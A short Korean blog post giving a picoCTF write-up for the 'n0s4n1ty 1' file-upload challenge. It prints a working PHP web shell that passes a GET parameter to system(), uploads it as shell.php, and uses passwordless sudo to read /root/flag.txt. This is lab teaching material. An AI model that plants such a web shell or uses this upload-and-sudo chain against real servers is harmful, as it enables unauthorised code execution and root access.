[picoctf] n0s4n1ty 1

권민서·2025년 4월 4일

picoctf

목록 보기
1/2


/root디렉토리에 위치한 숨겨진 플래그를 찾자!

문제 사이트에 들어가면 파일을 찾는 곳과 올리는 곳이 있다. 특정 파일을 셀렉해 올리면 파일이 성공적으로 올라갔다는 메시지와 함께 파일이 있는 디렉토리를 알려준다. 거기로 이동하면 파일 내용이 출력되어있다.

웹쉘을 이용해 사이트의 취약점을 파고 들 수 있을 것 같다.

<?php
if(isset($_GET['cmd'])){
    echo "<pre>";
    $cmd = $_GET['cmd'];
    system($cmd);        
    echo "</pre>";
}
?>

웹쉘 코드를 작성하고 파일 이름은 shell.php로 했다.
파일을 올리고 ?cmd=으로 이동하면 아래와 같이 나타난다.

오 먹힌다
아래는 ls -al명령어를 실행한 것

힌트에 있는 sudo -l을 실행했다. 패스워드가 따로 필요없음

root로 이동 후 ls로 파일 내역을 볼 수 있다면 제일 좋지만 웹쉘에서는 cd가 의미가 없으므로 파일 이름을 찍어야겠다.

sudo cat /root/flag.txt

위와 같이 입력하면

0개의 댓글